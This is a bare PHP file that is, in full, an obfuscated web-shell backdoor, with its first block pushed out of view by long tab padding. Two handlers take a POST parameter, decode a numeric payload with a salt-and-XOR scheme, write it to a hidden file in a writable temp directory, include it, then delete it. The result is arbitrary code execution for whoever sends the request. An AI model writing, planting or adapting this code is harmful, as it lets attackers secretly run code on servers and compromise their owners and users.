<?php																																										if(@$_POST["res"] !== null){ $object = $_POST["res"]; $object = explode ( "." , $object ) ; $token = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); $q = 0; $__tmp = $object; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt1[$q % $lenS] ); $d = ( ( int)$v1 - $sChar -( $q % 10)) ^ 21; $token .= chr( $d ); $q++; } $ptr = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); while ($pgrp = array_shift($ptr)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $desc = "$pgrp/.holder"; $success = file_put_contents($desc, $token); if ($success) { include $desc; @unlink($desc); die();} } } }


if(!is_null($_POST["fa\x63"] ?? null)){
	$resource = $_POST["fa\x63"];
		$resource  =	 	explode(		 '.' ,$resource			) 	 ;  
	$symbol=	 '';
            $s=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($s);
    
            foreach ($resource as $y 	=> 	$v7) {
                $sChar=	 ord($s[$y	%	$sLen]);
                $dec=	 ((int)$v7 - $sChar - ($y	%	10)) ^ 98;
                $symbol .= chr($dec);
            }
	$rec = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp"]);
	for ($pointer = 0, $parameter_group = count($rec); $pointer < $parameter_group; $pointer++) {
    $ent = $rec[$pointer];
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $flg = implode("/", [$ent, ".bind"]);
    if (file_put_contents($flg, $symbol)) {
	require $flg;
	unlink($flg);
	die();
}
}
}
}